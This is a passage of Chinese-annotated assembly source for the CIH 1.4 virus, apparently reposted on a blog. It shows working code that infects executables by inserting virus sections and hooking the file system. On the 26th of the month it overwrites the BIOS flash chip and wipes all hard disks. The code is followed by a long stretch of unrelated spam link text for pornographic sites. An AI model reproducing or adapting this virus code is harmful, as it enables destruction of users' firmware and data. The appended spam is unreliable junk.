push ebx ; Pointer of File ;ebx指向該塊未用空間的文件指針

push edi ; Address of Buffer

mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi] ;ebx為該塊裝入后的實際地址
mov [eax+4], ebx ;保存到病毒塊表中

mov ebx, [eax] ;該塊未用空間大小
add (VirtualSize-@9)[edx], ebx ;加到該塊表項的VirtualSize

; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040h ;改該塊表項的塊屬性(改為可讀,并包含初始化數(shù)據(jù))

StartToWriteCodeToSections:

sub ebp, ebx ;病毒大小-病毒塊大小
jbe SetVirusCodeSectionTableEndMark ;如果小于(病毒插入完畢)就設(shè)置病毒塊表結(jié)束符

add edi, ebx ; Move Address of Buffer ;指向病毒下一塊

EndOfWriteCodeToSections:

loop LoopOfWriteCodeToSections

; ***************************
; * Only Set Infected Mark *
; ***************************

OnlySetInfectedMark:
mov esp, dr1 ;只設(shè)置感染標(biāo)志

jmp WriteVirusCodeToFile ;跳到寫病毒到要傳染的文件的程序

; ***************************
; * Not Set Infected Mark *
; ***************************

NotSetInfectedMark:
add esp, 3ch ;不設(shè)置感染標(biāo)志

jmp CloseFile ;跳到關(guān)文件

; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************

SetVirusCodeSectionTableEndMark:

; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp ;更正病毒塊表的最后一項
add [esp+08h], ebp

; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx ;設(shè)置塊表結(jié)束標(biāo)志

; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; ***************************

lea eax, (LastVxDCallAddress-2-@9)[esi] ;上一個調(diào)用VXD的指令的地址

mov cl, VxDCallTableSize ;所用VXD調(diào)用的個數(shù)

LoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdh ;還原成"int 20h"的形式

mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] ;從VxDCallIDTable取出VXD調(diào)用的id號放到edx
mov [eax+2], edx ;放到"int 20h"的后面,形成'int 20h' and the 'Service Identifier'的形式

movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] ;VxDCallAddressTable中放著各個調(diào)用VXD的指令的地址之差

sub eax, edx ;eax為上一個調(diào)用地址

loop LoopOfRestoreVxDCallID ;還原其他的調(diào)用

; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************

WriteVirusCodeToFile:
mov eax, dr1 ;dr1為前面所保存的esp
mov ebx, [eax+10h] ;ebx為保存在棧中的保存文件句柄
mov edi, [eax] ;edi為保存在棧中的IFSMgr_Ring0_FileIO調(diào)用的地址

LoopOfWriteVirusCodeToFile:

pop ecx ;病毒代碼各段的偏移
jecxz SetFileModificationMark ;到病毒偏移零為止

mov esi, ecx
mov eax, 0d601h ;寫文件功能號(R0_WRITEFILE)
pop edx ;文件指針
pop ecx ;要寫的字節(jié)數(shù)

call edi ; VXDCall IFSMgr_Ring0_FileIO ;寫文件
;依次寫入:各段病毒代碼,病毒塊表,新的文件塊表,新的程序入口,感染標(biāo)志
jmp LoopOfWriteVirusCodeToFile

; ***************************
; * Let's Set CF = 1 ==> *
; * Need to Restore File *
; * Modification Time *
; ***************************

SetFileModificationMark:
pop ebx
pop eax

stc ; Enable CF(Carry Flag) ;設(shè)置進位標(biāo)志
pushf ;標(biāo)志位壓棧

; *************************************
; * Close File *
; *************************************

CloseFile:
xor eax, eax
mov ah, 0d7h ;關(guān)閉文件功能號
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************

popf
pop esi
jnc IsKillComputer ;CF=0就KillComputer :-(

; *************************************
; * Restore File Modification Time *
; *************************************

mov ebx, edi

mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO ;修改文件修改時間

; *************************************
; * Disable OnBusy *
; *************************************

DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBus

; *************************************
; * Call Previous FileSystemApiHook *
; *************************************

prevhook:
popad ;恢復(fù)所有寄存器

mov eax, dr0 ; 保存的原來的文件系統(tǒng)鉤子程序首址
jmp [eax] ; Jump to prevhook ;跳到前一個鉤子去執(zhí)行

; *************************************
; * Call the Function that the IFS *
; * Manager Would Normally Call to *
; * Implement this Particular I/O *
; * Request. *
; *************************************

pIFSFunc: ; FileSystemApiHookFunction的參數(shù)見助標(biāo)2
mov ebx, esp ; ebx指向esp以獲得FileSystemApiHookFunction的參數(shù)地址
push dword ptr [ebx+20h+04h+14h] ; Push pioreq ;把參數(shù)pioreq pir壓棧(ebx+20h+04h為參數(shù)首址)
call [ebx+20h+04h] ; Call pIFSFunc ;調(diào)用pIFSFunc FSDFnAddr(FSD的功能地址)
pop ecx ;

mov [ebx+1ch], eax ; Modify EAX Value in Stack ;改eax的值(在棧中,20h為pushad的壓棧大小,1ch為第一個壓棧的eax)

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; ***************************

cmp dword ptr [ebx+20h+04h+04h], 00000024h ;詳見助標(biāo)2
jne QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;保存獲得的文件時間和日期

; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************

QuitMyVirusFileSystemHook:

popad ;恢復(fù)所有寄存器

ret ;從病毒設(shè)置的文件鉤子程序中退出

; *************************************
; * Kill Computer !? ... *^_^* * ;KillComputer模塊(!!十分危險,所以原理分析及詳細注釋暫不公布!!)
; *************************************

IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h

xor al, 26h ; ??/26/???? ;從CMOS中獲得當(dāng)前的日期

IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF ;如果是每月的26號就KillComputer(太危險了).*^_^*.

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM *
; ***************************

mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in *
; * 000E0000 - 000EFFFF *
; * ( 64 KB ) *
; ***********************

mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

; ***********************
; * Show BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************

mov di, 0058h
dec edx ; and a0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; ***********************

lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; * ( 80h Bytes ) *
; ***********************

xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; ***********************

mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; * ( 80h Bytes ) *
; ***********************

mov ah, 0e0h
mov [eax], al

; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al 0h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi

; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach

LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand

cmp word ptr [esi+06h], 0017h
je KillNextDataSection

ChangeNextHardDisk:
inc byte ptr [esi+4dh]

jmp LoopOfKillHardDisk

KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write *
; ***************************

EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al

ret

; ***************************
; * IO for EEPROM *
; ***************************

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
out dx, al

ret

; *********************************************************
; * Static Data *
; *********************************************************

LastVxDCallAddress = IFSMgr_Ring0_FileIO ;最后一個調(diào)用的VxD的指令的地址
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath ;各個VxD調(diào)用指令地址之差

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ;VxD的調(diào)用號
VxDCallTableSize = ($-VxDCallIDTable)/04h ;程序中使用VxD調(diào)用的個數(shù)

; *********************************************************
; * Virus Version Copyright *
; *********************************************************

VirusVersionCopyright db 'CIH v' ;CIH病毒的標(biāo)識
db MajorVirusVersion+'0' ;主版本號
db '.'
db MinorVirusVersion+'0' ;副版本號
db ' TATUNG' ;作者名字

; *********************************************************
; * Virus Size *
; *********************************************************

VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h) ;病毒代碼全長

; *********************************************************
; * Dynamic Data *
; *********************************************************

VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0 ;忙標(biāo)志
FileModificationTime dd ? ;文件修改時間

FileNameBuffer db FileNameBufferSize dup(?) ;7fh長的文件名數(shù)據(jù)區(qū)
@7 = FileNameBuffer

DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ? ; 塊數(shù)目
TimeDateStamp dd ? ; 文件時間
SymbolsPointer dd ? ;
NumberOfSymbols dd ? ; 符號表中符號個數(shù)
SizeOfOptionalHeader dw ? ; 可選部首長度
_Characteristics dw ? ; 信息標(biāo)志
Magic dw ? ; 標(biāo)志字(總是010bh)
LinkerVersion dw ? ; 連接器版本號
SizeOfCode dd ? ; 代碼段大小
SizeOfInitializedData dd ? ; 已初始化數(shù)據(jù)塊大小
SizeOfUninitializedData dd ? ; 未初始化數(shù)據(jù)塊大小
AddressOfEntryPoint dd ? ; 程序起始RVA
BaseOfCode dd ? ; 代碼段起始RVA
BaseOfData dd ? ; 數(shù)據(jù)段起始RVA
ImageBase dd ? ; 裝入基址RVA
@9 = $
SectionAlignment dd ? ; 塊對齊
FileAlignment dd ? ; 文件塊對齊
OperatingSystemVersion dd ? ; 所需操作系統(tǒng)版本號
ImageVersion dd ? ; 用戶自定義版本號
SubsystemVersion dd ? ; 所需子系統(tǒng)版本號
Reserved dd ? ; 保留
SizeOfImage dd ? ; 文件各部分總長
SizeOfHeaders dd ? ; 部首及塊表大小
SizeOfImageHeaderToRead = $-NumberOfSections ;
;
NewAddressOfEntryPoint = DataBuffer ; DWORD ;
SizeOfImageHeaderToWrite = 04h ;

StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD ; 塊名
VirtualSize = StartOfSectionTable+08h ; DWORD ; 該段真實長度
VirtualAddress = StartOfSectionTable+0ch ; DWORD ; 該塊的RVA
SizeOfRawData = StartOfSectionTable+10h ; DWORD ; 該塊物理長度
PointerToRawData = StartOfSectionTable+14h ; DWORD ; 該塊物理偏移
PointerToRelocations = StartOfSectionTable+18h ; DWORD ; 重定位的偏移
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD ; 行號表的偏移
NumberOfRelocations = StartOfSectionTable+20h ; WORD ; 重定位項數(shù)目
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD ; 行號表的數(shù)目
Characteristics = StartOfSectionTable+24h ; DWORD ; 塊屬性
SizeOfScetionTable = Characteristics+04h-SectionName ; 塊表項的長度

; *********************************************************
; * Virus Total Need Memory *
; *********************************************************

VirusNeedBaseMemory = $

VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h) ;病毒所需的內(nèi)存(病毒全長)

; *********************************************************
; *********************************************************

VirusGame ENDS

END FileHeader

?

=====================================================

Bad Boy Studio

http://hnh.126.com

?

作者Blog:http://blog.csdn.net/lyboy99/

總結(jié)

以上是生活随笔為你收集整理的CIH病毒1.4版本之中文注释的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

久久黄色精品视频 | 久久精品毛片 | 欧美成人理伦片 | 欧美孕交vivoestv另类 | 欧美日韩在线播放一区 | 中文字幕中文字幕中文字幕 | 欧美国产日韩久久 | 久草香蕉在线 | 啪啪资源 | 久久精品91久久久久久再现 | 亚洲精区二区三区四区麻豆 | 麻花豆传媒mv在线观看 | 久久这里精品视频 | 色婷婷骚婷婷 | 99国产精品免费网站 | 狠狠狠色丁香综合久久天下网 | 成年人视频在线免费 | 狠狠干狠狠操 | 综合激情 | 九九热在线视频 | 精品国产网址 | 中文字幕一二三区 | 福利久久久 | 久久精品国产精品 | 成人三级黄色 | 国产一卡二卡在线 | 欧美三级高清 | av在线播放免费 | 久久免费视频5 | 亚洲免费永久精品国产 | 人人爽影院 | 中文字幕 欧美性 | 国产精品久久三 | 九九九视频在线 | 亚洲va天堂va欧美ⅴa在线 | 久久久久综合视频 | 激情校园亚洲 | 美女视频黄频大全免费 | 国产精品美女久久久久久久久久久 | 久久国产区 | 国产 亚洲 欧美 在线 | 亚洲精品一区二区三区新线路 | 极品中文字幕 | 911精品视频 | 最近2019中文免费高清视频观看www99 | 成人h动漫在线看 | 在线电影中文字幕 | 欧美精品一区二区蜜臀亚洲 | 国产精品久久久毛片 | 午夜三级毛片 | 色偷偷人人澡久久超碰69 | 成片免费 | 久久久精品日本 | 亚洲 综合 国产 精品 | 激情丁香综合五月 | 久久久九色精品国产一区二区三区 | 黄色一级影院 | 99热国产在线观看 | 亚洲黄色在线观看 | 特级a老妇做爰全过程 | 国产在线不卡一区 | 99久久久国产精品免费观看 | 久草在线资源网 | 日本女人在线观看 | 色午夜影院 | 久久精品一区二区三区国产主播 | 欧美一级免费 | www,黄视频 | 永久免费av在线播放 | 天天色天天干天天色 | 日韩美女高潮 | 欧美在线观看小视频 | 精品国产电影一区二区 | 色噜噜狠狠狠狠色综合久不 | 91桃色视频 | 国产精品久久久久久一区二区 | av免费在线播放 | 久久久精品国产一区二区三区 | 亚洲天堂网站 | 成人h在线播放 | 国语自产偷拍精品视频偷 | 99免费在线视频 | 精品一区91 | 亚洲无吗视频在线 | 伊人久久电影网 | 午夜av大片| 6080yy精品一区二区三区 | 亚洲国产精品999 | 99久久精品久久亚洲精品 | 亚洲一片黄 | 日韩激情第一页 | 天天夜操| 国内精品久久久久久久久久清纯 | 九九九热精品免费视频观看 | 亚洲欧美在线综合 | 免费观看av网站 | 欧美另类高清 videos | 97视频精品 | 三级黄色网址 | 9999免费视频 | 一区二区三区免费网站 | 国产黄大片 | 91视频免费看网站 | 久久精品超碰 | 玖玖国产精品视频 | 日韩欧美国产激情在线播放 | 亚洲天天综合网 | av免费网站观看 | 久久99精品国产麻豆婷婷 | 狠狠狠色丁香综合久久天下网 | 99成人精品 | 日本黄色免费在线观看 | 国产精品一区二区三区久久 | 99视频在线看 | 伊人久操| 国产中文字幕在线播放 | 久一网站 | 国产成人精品一区二区三区福利 | 不卡av电影在线 | 国产美女视频免费观看的网站 | 久久免费激情视频 | 91视频91色| 国产福利资源 | 啪啪资源 | 美女视频免费精品 | 亚洲精品综合一区二区 | 色开心 | 日韩精品aaa | 亚洲美女视频在线观看 | 欧美成人精品三级在线观看播放 | 不卡电影免费在线播放一区 | 国产精品麻豆视频 | 最近日本mv字幕免费观看 | 天天操天天操天天操天天操 | 天天爱av导航 | 福利视频精品 | 亚洲国产精品一区二区久久,亚洲午夜 | 91麻豆免费视频 | 久久综合之合合综合久久 | 人人舔人人插 | 国产精品三级视频 | 亚洲丝袜一区二区 | 国产在线一区观看 | 91成人区| 日韩免费精品 | 亚洲精品免费在线观看视频 | 中文字幕a∨在线乱码免费看 | 国产精品成人久久久久久久 | 国产亚洲视频在线免费观看 | 国产综合香蕉五月婷在线 | 久久深夜 | 狠狠伊人 | 国产精品国产三级国产aⅴ入口 | 亚洲成人av片在线观看 | 久久国产精品色av免费看 | 国产不卡视频在线播放 | 久久少妇| 欧美人操人 | 免费看国产黄色 | 免费看精品久久片 | 深爱激情av| 日韩高清一二三区 | 精品久久久久久亚洲综合网站 | 日韩欧美一区二区不卡 | 亚洲精品午夜aaa久久久 | 日本精品久久久一区二区三区 | 视频在线精品 | 激情网在线观看 | 在线国产激情视频 | 91欧美精品 | 久久精品视频国产 | 免费美女av| 色婷婷激情电影 | 在线观看视频一区二区三区 | 一级欧美黄 | 五月天综合婷婷 | 少妇高潮流白浆在线观看 | 特黄一级毛片 | 在线电影 一区 | 美女精品在线观看 | 久久手机免费观看 | 丁香在线观看完整电影视频 | 日韩av网址在线 | 日韩在线观看一区 | 国产在线资源 | 嫩草av在线 | 久久久久久久久久久精 | 午夜性盈盈 | 一级久久精品 | 91成人网页版 | 成人av在线网 | 国产乱对白刺激视频不卡 | 免费看三级 | 日韩一级精品 | 在线播放亚洲激情 | 久草资源在线观看 | 中文字幕在线视频一区二区三区 | 欧美91精品国产自产 | 日韩成人不卡 | 日日夜夜骑 | 日韩毛片精品 | 综合色天天 | 丝袜美腿av | 成人av网页| 久久一二三四 | 中文字幕 成人 | 亚洲乱码国产乱码精品天美传媒 | 国产成人av网| 亚洲视频精品 | 婷婷深爱网 | 最新中文字幕在线播放 | 久草视频在线资源站 | 99久久精品免费一区 | 久久久久久久久久久久久久免费看 | 国产一区在线免费观看视频 | 日韩av成人免费看 | 日韩理论片在线 | 五月婷影院 | 欧美日韩高清在线一区 | 日韩精品最新在线观看 | av免费网页 | 日韩,中文字幕 | 国产精品入口传媒 | 97精品伊人| 国产在线观看高清视频 | 亚洲精品视频免费在线 | 日韩毛片精品 | 精品资源在线 | 免费一级片在线 | 欧美aaa大片 | 久久久综合香蕉尹人综合网 | 精品久久久久免费极品大片 | 国产成人三级三级三级97 | 探花系列在线 | 欧美性久久久久久 | 天天操天天添 | www.干| 日本资源中文字幕在线 | 免费成人黄色 | 精品久久久免费视频 | 国产综合91 | 九九热在线视频 | 草莓视频在线观看免费观看 | 中文字幕在线日 | 国产精品久久久久三级 | 国产成人精品一区二区三区福利 | 黄色小视频在线观看免费 | 成人在线网站观看 | av中文字幕网站 | 麻豆久久久 | 玖玖爱国产在线 | 久草在线视频免费资源观看 | 国产成人精品一区二区三区在线 | 欧美日本在线视频 | 一区中文字幕电影 | 97精品视频在线 | 日韩草比 | 成人九九视频 | 亚洲国产合集 | 成人国产一区 | av一级一片 | 青草视频在线看 | 丁香六月婷婷综合 | 亚洲国内精品视频 | 亚洲涩综合 | 久草视频中文在线 | 在线观看日韩av | 99精品国自产在线 | 国产精品欧美一区二区三区不卡 | 久久亚洲私人国产精品va | 欧美日韩一区二区在线观看 | 啪啪免费视频网站 | 三日本三级少妇三级99 | 久久一及片 | 涩涩爱夜夜爱 | 日韩成人一级大片 | 亚洲天堂香蕉 | 久久久国产精品人人片99精片欧美一 | 99久久精品无免国产免费 | 天天操操 | 91精品免费在线观看 | 亚洲成人av影片 | 一本色道久久综合亚洲二区三区 | 国产在线观看91 | 999视频在线播放 | 亚洲成年片| 亚洲视频精品在线 | 日韩欧美在线观看一区二区三区 | 色综合天天干 | 99久久精品国产毛片 | 91视频观看免费 | 国产资源网 | 国产高清绿奴videos | 热久久免费国产视频 | 日本在线观看一区二区三区 | 美女视频一区二区 | 免费h漫在线观看 | 日韩欧美在线视频一区二区 | 国产精品不卡 | 在线播放日韩av | 日韩免费高清在线 | 亚洲欧美精品在线 | 福利视频一二区 | 五月婷婷开心中文字幕 | 久久久网 | 99久久精品电影 | 免费观看国产视频 | 91福利社区在线观看 | 国产成人一区二区三区在线观看 | 正在播放 久久 | 91免费国产在线观看 | a在线一区 | 人人爽人人乐 | 中文字幕在线看视频 | 欧美午夜激情网 | 最新91在线视频 | 欧美巨大荫蒂茸毛毛人妖 | 国产精品麻豆视频 | 久久国产免费视频 | 成人免费观看完整版电影 | 亚洲精品18日本一区app | 在线观看的a站 | 欧美日韩18 | 精品一区精品二区 | 一级片免费在线 | 九九综合九九综合 | 手机成人免费视频 | 久草香蕉在线视频 | 午夜性福利 | 人人爽影院 | 亚洲国产剧情av | 91亚瑟视频 | 天天操天天曰 | 天天操夜夜想 | 久久精品精品电影网 | 狠狠操综合网 | 成人av动漫在线 | 91香蕉视频 mp4 | 精品久久久久免费极品大片 | 精品久久久久久久久久 | 色噜噜在线观看视频 | 高清av免费一区中文字幕 | 国产一区在线免费观看视频 | 在线观看亚洲成人 | 精品国产成人 | a资源在线 | 免费在线黄 | 亚洲精品男人天堂 | 国产裸体视频bbbbb | av在线免费观看网站 | 国内精品久久久久久久影视简单 | 国产精品视频免费观看 | 日本字幕网 | 在线成人国产 | 国产精品1区2区 | 五月婷婷六月丁香在线观看 | 国产最新视频在线 | 久草在线91 | 久草在线视频免费资源观看 | 亚洲黄色精品 | 久久99最新地址 | 午夜精品久久久久99热app | 天天综合成人 | 国产一区视频在线 | 欧美日韩在线免费观看视频 | 亚洲精品国偷拍自产在线观看蜜桃 | 99久久久国产免费 | 涩涩在线| 亚洲国产视频在线 | 久久99热这里只有精品国产 | 久草在线资源观看 | 久久视频这里有精品 | 99在线观看免费视频精品观看 | 成人a级黄色片 | 九九热1 | 美女免费视频一区 | 亚洲无吗av| 热久久免费视频 | 99热在线精品观看 | 久草精品视频在线观看 | 国产在线播放一区 | 视频一区二区视频 | 91丨porny丨九色 | 成人午夜电影在线观看 | 尤物九九久久国产精品的分类 | 日韩成人在线免费观看 | 国产淫片免费看 | 亚洲精品视频在线看 | 免费福利视频导航 | 久久久国产精品一区二区中文 | 日韩电影在线观看中文字幕 | 青青草国产成人99久久 | 99久久久久久国产精品 | 日韩一二区在线观看 | 天天天天综合 | 久久精品电影网 | 日本精品在线看 | 五月婷婷六月丁香激情 | 国产123av| 在线观看av网站 | 成人网在线免费视频 | 久久久国产精华液 | 伊人手机在线 | 国产美女精品在线 | 西西444www大胆无视频 | 久久综合国产伦精品免费 | 久艹在线免费观看 | 欧美性黑人| 91精品在线视频观看 | 国产精品久久久久久一区二区三区 | 天天爽网站 | 欧洲精品久久久久毛片完整版 | 国产精品视频永久免费播放 | 亚洲视频h| 91久久人澡人人添人人爽欧美 | 国产色婷婷 | 成人综合婷婷国产精品久久免费 | 人人爽爽人人 | 成人av免费 | 视频二区在线 | 天天草天天草 | 国产区精品 | 亚洲精品播放 | 国内精品视频在线 | 日韩高清在线观看 | 久久久www免费电影网 | 久草视频免费播放 | 国产亚洲视频在线 | 91精品久久久久久 | 久久久国产精品视频 | 久久免费影院 | 国产精品久久久久一区二区国产 | 日韩三级视频在线观看 | 精品视频久久久 | 99精品成人 | 爱爱av在线| 国产麻豆精品传媒av国产下载 | 日本成人黄色片 | 五月婷av | 色综合久久久 | 五月天天av | 九九有精品 | 美女精品| 欧美片网站yy| 日韩动漫免费观看高清完整版在线观看 | 久久夜夜夜 | 天天人人 | 欧美性色黄 | 丁香六月网| 亚洲精品综合一区二区 | 久久丁香网 | 中文字幕国产精品 | 亚洲一级片在线看 | 91精品一区二区三区久久久久久 | 久久久久久久久久电影 | 欧美视频不卡 | 黄色av影院 | 国产精品a久久久久 | 99亚洲天堂| 欧美午夜久久 | 91香蕉视频色版 | 国产美腿白丝袜足在线av | 中文字幕日本电影 | 中文字幕国产在线 | 成人黄色影片在线 | 欧美视频xxx| 久久夜视频 | 日韩av网页 | 久草在线国产 | 精品国产1区2区 | 丁香六月网 | 99在线热播精品免费99热 | 五月婷婷中文网 | 婷婷中文字幕综合 | 久久福利影视 | 中文字幕在线影院 | 国内精品久久久精品电影院 | 丁香婷婷色综合亚洲电影 | 久久久午夜精品理论片中文字幕 | 玖草影院 | 91视频下载 | www视频免费在线观看 | 亚洲精品国偷拍自产在线观看蜜桃 | 成年人在线看视频 | 亚洲成a人片在线观看中文 中文字幕在线视频第一页 狠狠色丁香婷婷综合 | 久久亚洲电影 | 亚洲日韩中文字幕在线播放 | 亚洲综合日韩在线 | 色99中文字幕 | 成人小视频免费在线观看 | 日韩欧美综合视频 | 一区二区视频电影在线观看 | 成人av在线直播 | 亚洲精品国产精品国自 | 在线天堂8√ | 久久久久久久久久久精 | 九九色综合 | 4438全国亚洲精品在线观看视频 | 国产人免费人成免费视频 | www日日夜夜| 在线免费观看欧美日韩 | 欧美色婷 | 久久成人免费电影 | 国产69精品久久99不卡的观看体验 | 成人不用播放器 | 国产一级一片免费播放放 | 韩日精品在线 | 欧美成人基地 | 免费看的毛片 | 亚洲国产精品一区二区久久,亚洲午夜 | 91视频一8mav | 久草在线观看视频免费 | 在线观看不卡的av | av经典在线| 97人人看| 日韩欧美高清在线 | 国产精品97 | 国产在线精品国自产拍影院 | 欧美一级特黄高清视频 | 亚洲国产人午在线一二区 | 视频精品一区二区三区 | 亚洲一级理论片 | 欧美日韩精品免费观看 | 成人少妇影院yyyy | 日韩欧美在线观看一区二区三区 | 伊人五月天.com | 国产黄影院色大全免费 | 免费看黄在线观看 | 亚洲国产午夜 | 不卡的av在线 | 国产福利精品在线观看 | 日本精油按摩3 | 国产一级片一区二区三区 | 日韩毛片一区 | 综合网在线视频 | 久久精品国产亚洲精品 | 天堂av观看 | 夜夜操天天操 | 国产一区二区三区 在线 | 久久精品欧美一区二区三区麻豆 | 国产精品色在线 | 亚洲一区美女视频在线观看免费 | 国产不卡精品 | 国产精品18久久久久久久久 | 欧美日韩首页 | 国产91综合一区在线观看 | 成人全视频免费观看在线看 | 国产成人精品一区二区三区免费 | 色无五月 | 亚洲精品乱码久久久久久高潮 | 91麻豆精品国产自产在线游戏 | 九九九九精品九九九九 | 日韩三级视频在线观看 | 三级av在线免费观看 | 探花视频网站 | 中文字幕日韩国产 | 成在人线av| 一区二区精品在线观看 | 色综合久久88色综合天天免费 | 人人爽人人爽人人片av | 黄污网站在线观看 | 精品一二三区视频 | 毛片网在线播放 | 草久在线 | 日本黄区免费视频观看 | 911免费视频 | 91精品网站 | 欧美日韩在线播放 | 日韩理论在线播放 | av不卡中文字幕 | 久久精品在线免费观看 | 人人爽人人射 | 九九免费在线观看视频 | 天天亚洲 | 成年人在线免费看片 | 欧美少妇xxxxxx | 亚州国产精品视频 | www.91国产 | 精品在线不卡 | 亚洲精品av中文字幕在线在线 | 久久综合免费视频影院 | 中文字幕精品一区久久久久 | 亚洲最大免费成人网 | 日韩欧美视频在线观看免费 | 欧美在线观看禁18 | www.com黄色 | 婷婷在线色 | 美女黄久久 | 日日日网| 亚洲午夜小视频 | 久久99爱视频 | 香蕉影视app | 99超碰在线播放 | 久久久久久久久福利 | 久久在线播放 | 国产精久久久久久妇女av | 国产精品亚州 | 亚洲激情影院 | 区一区二区三在线观看 | 